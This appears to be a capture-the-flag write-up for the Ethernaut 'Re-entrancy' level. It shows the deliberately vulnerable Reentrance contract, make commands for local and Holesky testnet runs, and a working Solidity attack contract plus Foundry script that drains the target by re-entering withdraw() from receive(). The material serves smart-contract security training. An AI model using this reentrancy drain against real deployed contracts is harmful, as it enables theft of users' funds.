Level 10 - Re-entrancy ⏺⏺⏺
Level Setup
Level Contract
Exploit
Completion Message
Notes
Last updated
Last updated
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}make anvil-exploit-level-10
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>make holesky-exploit-level-10
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
interface IReentrance {
function donate(address _to) external payable;
function withdraw(uint256 _amount) external;
}
/**
* Explainer from: https://solidity-by-example.org/fallback
* ETH is sent to contract
* is msg.data empty?
* / \
* yes no
* / \
* receive()? fallback()
* / \
* yes no
* / \
* receive() fallback()
*/
// ================================================================
// │ LEVEL 10 - REENTRANCY │
// ================================================================
contract Reentrancy {
IReentrance targetContract;
uint256 attackValue;
constructor(address _targetContractAddress) payable {
targetContract = IReentrance(_targetContractAddress);
attackValue = address(targetContract).balance;
if (attackValue == 0) revert("Target contract has no funds to exploit");
if (attackValue > address(this).balance) revert("Target contract has more funds than the exploit contract");
}
function attack() public {
// Attack contract
targetContract.donate{value: attackValue}(address(this));
targetContract.withdraw(attackValue);
(bool refundSuccess,) = address(msg.sender).call{value: address(this).balance}("");
if (!refundSuccess) revert("Refund call failed");
}
receive() external payable {
uint256 targetBalance = address(targetContract).balance;
if (targetBalance >= attackValue) {
targetContract.withdraw(attackValue);
}
}
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";
import {Reentrancy} from "../src/Level10.sol";
// ================================================================
// │ LEVEL 10 - REENTRANCY │
// ================================================================
contract Exploit is Script, HelperFunctions {
function run() public {
address targetContractAddress = getInstanceAddress();
vm.startBroadcast();
Reentrancy reentrancy = new Reentrancy{value: 1 ether}(targetContractAddress);
reentrancy.attack();
vm.stopBroadcast();
}
}